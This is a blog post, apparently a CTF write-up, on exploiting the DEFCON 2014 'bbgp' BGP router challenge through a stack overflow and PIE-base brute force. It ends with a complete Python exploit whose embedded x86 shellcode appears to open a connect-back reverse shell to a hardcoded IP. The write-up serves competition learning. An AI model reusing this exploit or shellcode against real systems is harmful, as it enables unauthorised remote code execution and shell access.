본문 바로가기

Games/CTF

DEFCON 2014 bbgp writeup

I solved this challenge with my teamate 'Yongil'


the task is a x86 based BGP router binary, compiled with PIE enabled and NX disabled setting.

After a quick reversing against the binary, I figured out there was a simple function wich has a buffer overflow vulnerability. The vulnerability allowed the attacker to overwrite the stack buffer exactly until the return address.



However, this was not the most challenging part. More challenging part was analyzing and reversing the BGP protocol and making the BGP router to invoke the vulnerable function. The binary seemd to be implementing the standard BGP protocol, however simply applying the BGP connection seemed not working. we must analyze the authentication process to establish the BGP connection with this router.


The router parses input as a BGP packet


if we successfully establish the BGP connection and satisfy some conditions, we can invoke the vulnerable function.



My teammate was good at reversing and found the correct input to trigger the vulnerable function before I do. However we could not easily exploit the vulnerability because the binary has PIE enabled. Since the binary is 32-bit, I decided to brute force the PIE base address rather than fining an information leaking vulnerability. 


Assuming we can brute force the PIE base, all we need was some appropriate ROP gadgets. After some digging with gdb, I happend to found this remarkable stuation. The stack argument after the return address was a stack pointer of my input!!



so, all the ROP gadget I need was a simple "RET" ... :) 



After figuring this out, I managed to write an exploit. I confirmed that the exploit works in my local environment if the PIE base was correct. At this point, it was a matter of time. I simply brute forced the PIE base and we got the remote shell :)



from socket import *

import struct, sys, os


while True:

for x in xrange(0xf770, 0xf780):

base = x << 16

print hex(base)

READPLT = struct.pack("<I", base + 0x750)

ADDESP = struct.pack("<I", base + 0x2657)

CALLEAX = struct.pack("<I", base + 0x2b0b)


RET = struct.pack("<I", base + 0x189d)


RIB = struct.pack("<I", base + 0x40C0)

PPPR = struct.pack("<I", base + 0x2b14)

ZERO = struct.pack("<I", 0)

shellcode = '\x31\xC0\xB0\x66\x31\xDB\x43\x31\xD2\x52\x42\x52\x42\x52\x89\xE1\xCD\x80\x89\xC2\x31\xDB\x53\x68\x6E\x23\x26\x06\x66\xBB\x7A\x69\xC1\xE3\x10\xB3\x02\x53\x89\xE7\x31\xC0\xB0\x10\x50\x57\x52\x89\xE1\x31\xDB\xB3\x03\x31\xC0\xB0\x66\xCD\x80\x89\xD3\x31\xC9\x31\xC0\xB0\x3F\xCD\x80\x41\xB0\x3F\xCD\x80\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80'

SHELLCODE_SIZE = 99


s = socket(AF_INET, SOCK_STREAM)

#s.connect(('bbgp_7cdbfdae936b3c6ed10588119a8279a0.2014.shallweplayaga.me', 179))

s.connect(('localhost', 33000))


s.send('AAAAAAAAAAAAAAAAAA\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x08')

s.send('\x02\x06')

s.send('\x01\x04')


print 'attach now'

raw_input()


s.send('\x00\x01\x00\x01')

s.recv(37)

s.recv(19)

s.recv(46)

msg = 'AAAAAAAAAAAAAAAA\x03\xe8\x02'

msg += '\x00\x00\x00\x17\x00\x04\x14' + '\xeb\x12\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' + RET + shellcode + '\x90'*(500-SHELLCODE_SIZE) + 'A' * 137

msg += READPLT

msg += PPPR

msg += ZERO

msg += RIB

msg += RIB

msg += RIB

msg += '\x90' * 500


s.send(msg)

s.send(shellcode)

s.close()






'Games > CTF' 카테고리의 다른 글

DEFCON 2014 babyfirst heap writeup  (0) 2014.05.22
DEFCON 2014 polyglot writeup  (0) 2014.05.21
DEFCON 2014 byhd writeup  (0) 2014.05.21
PlaidCTF 2014 kappa  (0) 2014.04.15
PlaidCTF 2014 ezhp  (5) 2014.04.15